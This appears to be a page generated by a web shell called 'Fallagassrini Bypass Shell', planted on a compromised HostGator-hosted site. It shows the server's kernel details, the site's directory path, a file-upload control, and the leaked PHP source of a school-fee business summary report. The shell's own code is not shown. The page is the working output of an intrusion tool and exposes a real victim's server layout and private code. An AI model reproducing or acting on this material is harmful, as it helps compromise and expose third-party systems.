? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/report/xls_business_summary_report.php

<?php

$html = '<html><head><body>';
$html.='<table width="100%" >
        <tr><td colspan="2"></td><td align="right"><img src="' . base_url() . 'assets/images/logo.gif" style="float:right"/></td>
        <tr><td colspan="3" style="font-size:16px;" align="center"><b><u>' . $postdata['report_name'] . '</u></b></td></tr>
          
        <tr><td colspan="3">Printout Date : ' . date('d-m-Y') . ', ' . date('h:i:s a') . '</td></tr>
        </table><br><br>';
$html.='<hr>';
$html.='<table cellspacing="-1" style="width:100%;text-align:left" >
        <thead>
        <tr><th style="text-align:left" bgcolor="#7FCEFF">Sl No</th>
       <th style="text-align:left" bgcolor="#7FCEFF">Course</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Class Code</th>
        <th style="text-align:left" bgcolor="#7FCEFF">Teacher</th>
        <th style="text-align:left" bgcolor="#7FCEFF">No of students</th>
        <th style="text-align:center" bgcolor="#7FCEFF" colspan=4>Course Fee</th>
        <th style="text-align:center" bgcolor="#7FCEFF" colspan=4>Collected Fee</th>
        <th style="text-align:center" bgcolor="#7FCEFF"colspan=4>Pending Fee</th>';

$html.='</tr><tr><th style="text-align:left" bgcolor="#7FCEFF" colspan=5 ></th>      
        <th style="text-align:left" bgcolor="#7FCEFF">Reg Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Course Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Extra Class </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Books</th><th style="text-align:left" bgcolor="#7FCEFF">Reg Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Course Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Extra Class </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Books</th><th style="text-align:left" bgcolor="#7FCEFF">Reg Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Course Fee </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Extra Class </th>
        <th style="text-align:left" bgcolor="#7FCEFF">Books</th></tr>
        </thead>
        <tbody>';
$sl = 1;
$i = 1;
$j = 1;
//$rowspan = "";

$total_fees = '';
$date = date("d-m-Y");
$total_student = 0;
$total_reg_fee = 0;
$total_course_fee = 0;
$total_extra_fee = 0;
$total_books_fee = 0;
$total_reg_fee_paid = 0;
$total_course_fee_paid = 0;
$total_extra_fee_paid = 0;
$total_books_fee_paid = 0;
$total_pending_reg_fee = 0;
$total_pending_course_fee = 0;
$total_pending_extra_fee = 0;
$total_pending_books_fee = 0;
$row_course = '';

$rowspan = 0;


$row_course = "";

foreach ($report['result'] as $course) {

    $fee= $this->reportmodel->get_paid_fee_details($course['batch'],$student_type);  
    $extra_class_fee = $this->mastermodel->get_data_joined('extra_class', 'extra_class_details', 'extra_class_id', 'extra_class_id', $course['batch'], 'batch_id');
    $extra_fee = 0;
    if (sizeof($extra_class_fee) > 0) {
        
        foreach ($extra_class_fee as $row) {
            
            $extra_fee+=$row['extra_fee_amount'];
        }
    }
    $pending_reg_fee = $course['registration_fee']  - $fee['reg_fee_paid'];
    $pending_course_fee =$course['course_fee_total'] - $fee['course_paid_fee'];
    $pending_extra_fee = $extra_fee - $fee['extra_fee_paid'];
    $pending_books_fee = $course['books_fee'] - $fee['books_fee_paid'];
    $teacher_name=$this->mastermodel->get_teacher_batch($course['batch'],date("Y-m-d") ); 
    if(!empty($teacher_name))
        $teacher= $teacher_name->employee_name;
    else
        $teacher='';
     echo $teacher;
    $rowspan++;
    
    
        
    $html .= '<tr >'; 
    
    if($row_course != $course['course_id']){
    $html.='<td rowspan="'.$report[$course['course_id']].'">' . $i++ . '</td>
        <td rowspan="'.$report[$course['course_id']].'">' . $course['course_name'] . '</td>';

    }
    $html.='<td>' . $course['batch_no'] . '</td>';
    $html.='<td>' . $teacher . '</td>';
    
    $html.='<td style="text-align:right">' . $course['student_count1'] . '</td>';
    $html.='<td style="text-align:right">' . $course['registration_fee'] . '</td>';
    $html.='<td style="text-align:right">' . $course['course_fee_total'] . '</td>';
    $html.='<td style="text-align:right">'.$extra_fee.'</td>';
    $html.='<td style="text-align:right">' . $course['books_fee'] . '</td>
          <td style="text-align:right"> ' . $fee['reg_fee_paid'] . '</td>
          <td style="text-align:right">' . $fee['course_paid_fee'] . '</td>
          <td style="text-align:right">' . $fee['extra_fee_paid'] . '</td>
          <td style="text-align:right">' . $fee['books_fee_paid'] . '</td>

        <td style="text-align:right" >' . $pending_reg_fee . '</td>
        <td style="text-align:right">' . $pending_course_fee . '</td>
        <td style="text-align:right">' . $pending_extra_fee . '</td>
        <td style="text-align:right">' . $pending_books_fee . '</td>';
    
        $html.= '</tr>';
    
     $total_reg_fee+=$course['registration_fee'];
    $total_course_fee+=$course['course_fee_total'];
    $total_extra_fee+=$extra_fee;
    $total_books_fee+=$course['books_fee'];

    $total_reg_fee_paid+=$fee['reg_fee_paid'];
    $total_course_fee_paid+=$fee['course_paid_fee'];
    $total_extra_fee_paid+=$fee['extra_fee_paid'];
    $total_books_fee_paid+=$fee['books_fee_paid'];

    $total_pending_reg_fee+=$pending_reg_fee;
    $total_pending_course_fee+=$pending_course_fee;
    $total_pending_extra_fee+=$pending_extra_fee;
    $total_pending_books_fee+=$pending_books_fee;
    $row_course = $course['course_id'];
    $total_student+=$course['student_count1'];
}





$html.='<tr><td colspan=4 style="text-align:right" >Total</td>
                <td style="text-align:right">' . $total_student . '</td> 
                <td style="text-align:right">' . $total_reg_fee . '</td>
                <td style="text-align:right" >' . $total_course_fee . '</td>
                <td style="text-align:right">' . $total_extra_fee . '</td>
               <td style="text-align:right" >' . $total_books_fee . '</td>
               <td style="text-align:right">' . $total_reg_fee_paid . '</td>
               <td style="text-align:right">' . $total_course_fee_paid . '</td>
               <td style="text-align:right">' . $total_extra_fee_paid . '</td>
               <td style="text-align:right">' . $total_books_fee_paid . '</td>
               <td style="text-align:right">' . $total_pending_reg_fee . '</td>
               <td style="text-align:right">' . $total_pending_course_fee . '</td>
               <td style="text-align:right">' . $total_pending_extra_fee . '</td>
               <td style="text-align:right">' . $total_pending_books_fee . '</td>
               </tr></tbody></table>';
$html.='<hr>';
$html.='</body></html>';
//$filename = $postdata['report_name'];
//header("Content-type: application/octet-stream");
//header("Content-Disposition: attachment; filename=" . $filename . ".xls");
//header("Pragma: no-cache");
//header("Expires: 0");
print $html;
exit;
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net